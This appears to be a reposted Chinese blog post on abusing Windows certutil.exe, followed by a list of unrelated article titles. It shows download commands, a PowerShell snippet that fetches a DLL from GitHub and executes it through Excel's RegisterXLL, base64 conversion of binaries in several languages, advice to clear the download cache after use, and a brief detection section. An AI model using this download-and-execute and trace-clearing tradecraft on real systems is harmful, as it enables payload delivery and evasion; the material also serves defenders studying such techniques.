certutil简介

用于证书管理

支持环境: XP  -  Windows 10 全系统

更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

downloader

(1) 保存在当前路径,文件名称同URL

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(2) 保存在当前路径,指定保存文件名称

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

(3) 保存在缓存目录,名称随机

缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

eg:

certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(4) 支持保存二进制文件

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

注:

使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本

清除下载文件副本方法:

方法1: 直接删除缓存目录对应文件

如下图

方法2: 命令行:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

补充:

查看缓存项目:

certutil.exe -urlcache *

如下图

实际测试:

测试系统安装Office软件,下载执行dll对应的powershell代码如下:

$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)

 测试如下:

2、计算文件hash

(1) SHA1

certutil.exe -hashfile msg.dll

(2) SHA256:

certutil.exe -hashfile msg.dll SHA256

(3) MD5:

certutil.exe -hashfile msg.dll MD5

3、base64编码转换

(1) base64编码:

CertUtil -encode InFile OutFile

(2) base64解码

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

-----BEGIN CERTIFICATE-----

文件尾:

-----END CERTIFICATE-----

如下图

downloader常用方法

利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

downloader常用方法如下:

  • certUtil
  • powershell
  • csc
  • vbs
  • JScript
  • hta
  • bitsadmin
  • wget
  • debug
  • ftp
  • ftfp

base64编码转换常用方法

在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。

所以在此整理一下常用不同开发工具对应的base64编码转换方式

powershell

base64编码:

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload

base64解码:

$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)

C SHARP(c#)

base64编码:

using System.IO;

byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();

base64解码:

using System.IO;

String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();

js

base64解码:

fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);

certutil

base64编码:

CertUtil -encode InFile OutFile

base64解码:

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

—–BEGIN CERTIFICATE—–

文件尾:

—–END CERTIFICATE—–

检测downloader

查看利用certUtil下载文件的缓存记录:

certutil.exe -urlcache *

缓存文件位置:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

最新文章

  1. Strint类成员
  2. php 设置mssql编码 解决乱码问题 mssql_connect charset Utf8
  3. KEGG and Gene Ontology Mapping in Bioinformatic Method
  4. centos上手动编译安装tmux的问题
  5. HDU 5898:odd-even number(数位DP)
  6. 图像检索:一维直方图+EMD距离
  7. 《Python网络编程》学习笔记--UDP协议
  8. windows版本的phantomjs-2.1.1-windows安装
  9. C++中的虚函数表是什么时期建立的?
  10. Nosql与关系型数据库不同的使用场景
  11. 35.Odoo产品分析 (四) – 工具板块(6) – 午餐管理(1)
  12. PHP循环语句深度理解分析——while, for, foreach, do while
  13. Python交互K线工具 K线核心功能+指标切换
  14. pandas操作行集锦
  15. 【C#复习总结】 Async 和 Await 的异步编程
  16. 在一般类中通过XmlWebApplicationContext对象获取应用部署上下文Context
  17. splash
  18. Game Physics Cookbook (Gabor Szauer 著)
  19. CNN+BLSTM+CTC的验证码识别从训练到部署
  20. windows Server 2008 R2 添加新用户时密码不满足密码策略的要求

热门文章

  1. Java:多线程,分别用Thread、Runnable、Callable实现线程
  2. Oracle学习笔记之四sp1,Oracle 11g的常用函数
  3. WCF使用net.tcp绑定时的注意事项
  4. java刚開始学习的人常见的问题
  5. TCP通信的三次握手和四次撒手的详细流程(顿悟)
  6. Learning Django: the hard way (1)
  7. VC2010下Qt5的中文乱码问题
  8. [转]C#通过Http发送Soap请求
  9. [已修正]安装struts找不到tld文件
  10. RTX——第7章 任务管理